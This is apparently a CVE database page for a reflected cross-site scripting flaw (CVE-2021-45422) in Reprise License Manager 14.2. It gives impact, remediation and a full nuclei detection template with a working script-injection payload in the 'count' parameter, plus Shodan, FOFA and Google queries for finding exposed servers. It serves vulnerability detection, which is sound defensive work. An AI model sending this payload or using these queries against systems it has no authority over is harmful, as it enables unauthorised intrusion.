HexBrain

Browse / CVEs / CVE-2021-45422

CVE-2021-45422· reprisesoftware / reprise license manager· CWE-79

Reprise License Manager 14.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Reprise License Manager 14.2 contains a cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Reprise License Manager 14.2.

How to confirm it

Send: GET {{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "value=\"\"><script>alert(document.domain)</script>\"><input ty…" or "value: \"><script>alert(document.domain)</script>)<br>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-45422 -u <target>

The full check
id: CVE-2021-45422

info:
  name: Reprise License Manager 14.2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Reprise License Manager 14.2 contains a cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Reprise License Manager 14.2.
  reference:
    - https://seclists.org/fulldisclosure/2022/Jan/31
    - https://www.getinfosec.news/13202933/reprise-license-manager-142-reflected-cross-site-scripting#/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45422
    - http://reprise.com
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45422
    cwe-id: CWE-79
    epss-score: 0.03427
    epss-percentile: 0.89028
    cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reprisesoftware
    product: reprise_license_manager
    shodan-query:
      - http.html:"Reprise License"
      - http.html:"reprise license"
      - http.html:"reprise license manager"
    fofa-query:
      - body="reprise license manager"
      - body="reprise license"
    google-query: inurl:"/goforms/menu"
  tags: cve2021,cve,reprise,xss,seclists,reprisesoftware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>"><input type='
          - 'value: "><script>alert(document.domain)</script>)<br>'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from